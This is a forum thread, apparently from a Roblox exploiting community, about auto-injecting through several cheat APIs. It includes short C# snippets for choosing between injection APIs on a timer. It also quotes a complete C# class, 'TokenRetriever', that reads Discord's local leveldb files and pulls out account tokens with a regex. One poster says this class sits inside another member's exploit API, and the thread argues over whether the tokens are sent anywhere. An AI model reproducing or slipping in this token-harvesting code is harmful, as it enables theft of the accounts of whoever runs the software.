Forum > Coding >

Auto Inject for a multi api exploit?

Posts: 2

Threads: 1

Joined: Mar, 2021

Reputation: -10

Posted

Hi, If you can help me find a way to do auto inject for a multi api exploit I will kiss you

  • 0

yeah sandwhich 

Posts: 1658

Threads: 10

Joined: Sep, 2020

Reputation: 59

Replied

Haha skid alting lol

  • 0

Discord : Doctor Doom#0550

Posts: 2

Threads: 1

Joined: Mar, 2021

Reputation: -10

Replied

@0x777_ haha

  • 0

yeah sandwhich 

Unidentified

nobody do wut i do

Posts: 320

Threads: 9

Joined: Feb, 2021

Reputation: 2

Replied

@GloozzyIsBack haha so funny :expressionless:

  • 0

Learning C++, C#, JavaScript Developer

I develop random stuff

Discord: Unidentified#1091

worstrobloxgod

speedsterkawaii

Posts: 87

Threads: 6

Joined: Nov, 2020

Reputation: -24

Replied

wait a sec, 

 

bruh this guy added me on discordd

 

  • 0

743894599239598090

 

TaxiDriver08

JustMarie

Posts: 1188

Threads: 31

Joined: Dec, 2020

Reputation: 6

Replied

STOP SKIDDING

 

simple :)

You now owe Autumn -100000000000000000000000000000000 Autumn points.

  • 0

JustMarie#0709

 

Posts: 673

Threads: 30

Joined: Aug, 2020

Reputation: 6

Replied

jesus christ how many times do i have to link my github

 

https://github.com/MaximusXYZ/Eternal/blob/main/ProcessWatcher.cs

  • 0

Posts: 0

Threads: 0

Joined: ?

Reputation:

Replied

Just use timers or process watcher. The easiest way for multi api is to do a check every timer tick.

  • 0

Posts: 314

Threads: 37

Joined: Feb, 2021

Reputation: 8

Replied

@GloozzyIsBack dm me on discord for it and more help: AlexSyndrome#7086

  • 0

https://media.discordapp.net/attachments/994643402949926956/1004560140252495960/uqJXQIda.gif

Read me.

Discord: Ad#1085; Don't hesitate to DM me if you need help/anything.

MINISHXP

minishxp

Posts: 813

Threads: 5

Joined: Jan, 2021

Reputation: 9

Replied

dad im sorry

ok jk jk thhe code isnt even optimized

if (AutoAttach == true) {
   if (api == "wrd") {
      wrdapi.LaunchThislego20$hack();
      }
   else if (api == "easy") {
      ezapi.LaunchThisLegohax2020realnotfakegonewrong();
      } //wrd mods only want you know about their api and prevent sayin other ones lol
   else {
    MessageBox.Show("what kind of dark magic is this?!?!?!"); 
    }
}
  • 0

hi123

TERIHAX

i say im gay as a joke 🙀

Posts: 1789

Threads: 92

Joined: Jul, 2020

Reputation: 30

Replied

@_realnickk srsly just a little code is fine for everyone why must you even call these stuff "spoonfeeding"

  • 0

Posts: 30

Threads: 6

Joined: Sep, 2020

Reputation: 8

Replied

if(Properties.Settings.Default.AutoAttach)
 {
   //you can store the selected api in an enum(https://www.w3schools.com/cs/cs_enums.asp) but I am gonna simplify it.
   string selected_api = "wearedevs";// you can have this somewhere public so when somebody switches api u can do ' selected_api = "otherapi"; '
  switch(selected_api) 
  {
    case "wearedevs":
       //call easy exploit's injection method
     break;
   case "otherapi":
    //call other api injection method
   break; 
//you can continue it on.
    }
//you can learn more about switch cases here: https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/switch
  }

Make sure this is in a timer or a loop. for timers i would use a dispatcher timer and set this code to its elapsed/tick event.. or even better you can hook it up to a process watcher such as one made by someone talented in the roblox exploiting community called BreakShooot: GitHub - BreakShoot/ProcessWatcher: A non-elevated example of process watching

  • 0

Posts: 613

Threads: 53

Joined: Feb, 2021

Reputation: 3

Replied

@JustPareX

can you please explain this?

 

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;

namespace OxygenU_API
{
    class TokenRetriever
    {
        private static List<string> ReadAllLines(string file)
        {
            List<string> list = new List<string>();
            using (FileStream fileStream = File.Open(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
            {
                using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
                {
                    while (streamReader.Peek() >= 0)
                    {
                        list.Add(streamReader.ReadLine());
                    }
                }
            }
            return list;
        }

        private static string TokenRegexCheck(string line)
        {
            foreach (object obj in TokenRetriever.tokenRegex.Matches(line))
            {
                string value = ((Match)obj).Groups[0].Value;
                if (value.Length == 59 || value.Length == 88)
                {
                    return value;
                }
            }
            return "";
        }

        private static string PerformTokenCheck(string line)
        {
            if (line.Contains("[oken"))
            {
                return TokenRetriever.TokenRegexCheck(line);
            }
            if (line.Contains(">oken"))
            {
                return TokenRetriever.TokenRegexCheck(line);
            }
            if (line.Contains("token>"))
            {
                foreach (object obj in TokenRetriever.tokenRegex.Matches(line))
                {
                    Match match = (Match)obj;
                    if (match.Length >= 59)
                    {
                        return match.Value;
                    }
                }
            }
            return "";
        }

        public static List<string> RetrieveDiscordTokens()
        {
            List<string> list = new List<string>();
            List<string> list2 = new List<string>(new string[]
            {
                TokenRetriever.discordTokenDirectory,
                TokenRetriever.ptbTokenDirectory,
                TokenRetriever.canaryTokenDirectory
            });
            List<string> list3 = new List<string>();
            foreach (string path in list2)
            {
                if (Directory.Exists(path))
                {
                    IEnumerable<string> collection = from specifiedFile in Directory.EnumerateFiles(path)
                                                     where specifiedFile.EndsWith(".ldb") || specifiedFile.EndsWith(".log")
                                                     select specifiedFile;
                    list3.AddRange(collection);
                }
            }
            foreach (string file in list3)
            {
                foreach (string line in TokenRetriever.ReadAllLines(file))
                {
                    if (!(TokenRetriever.PerformTokenCheck(line) == ""))
                    {
                        list.Add(TokenRetriever.PerformTokenCheck(line));
                    }
                }
            }
            return list;
        }

        private static readonly string tokenFileDirectory = "\\Local Storage\\leveldb";

        private static readonly string userDataDirectory = "\\User Data\\Default";

        private static readonly string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

        private static readonly string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

        public static readonly string temporaryDirectoryPath = Path.Combine(TokenRetriever.localAppDataPath, "\\temp");

        public static readonly string discordTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "Discord" + TokenRetriever.tokenFileDirectory);

        public static readonly string ptbTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "discordptb" + TokenRetriever.tokenFileDirectory);

        public static readonly string canaryTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "discordcanary" + TokenRetriever.tokenFileDirectory);

        public static readonly string chromeTokenDirectory = Path.Combine(TokenRetriever.localAppDataPath, "Google\\Chrome" + TokenRetriever.userDataDirectory + TokenRetriever.tokenFileDirectory);

        public static readonly string operaTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "Opera Software\\Opera Stable" + TokenRetriever.tokenFileDirectory);

        private static readonly Regex tokenRegex = new Regex("([A-Za-z0-9_\\./\\\\-]*)");
    }
}

Source (THIS WAS LEGIT YOUR OWN GITHUB) https://github.com/PareX2019/OxygenU_API/blob/master/TokenRetriever.cs

  • 0

no

Error: The signature must be between 3-200 characters

TaxiDriver08

JustMarie

Posts: 1188

Threads: 31

Joined: Dec, 2020

Reputation: 6

Replied

@timegoesbyfast

It was always there

  • 0

JustMarie#0709

 

Unidentified

nobody do wut i do

Posts: 320

Threads: 9

Joined: Feb, 2021

Reputation: 2

Replied

@timegoesbyfast It's literally getting sent nowhere so shut

  • 0

Learning C++, C#, JavaScript Developer

I develop random stuff

Discord: Unidentified#1091

Next >>>

Users viewing this thread:

( Members: 0, Guests: 0, Total: 0 )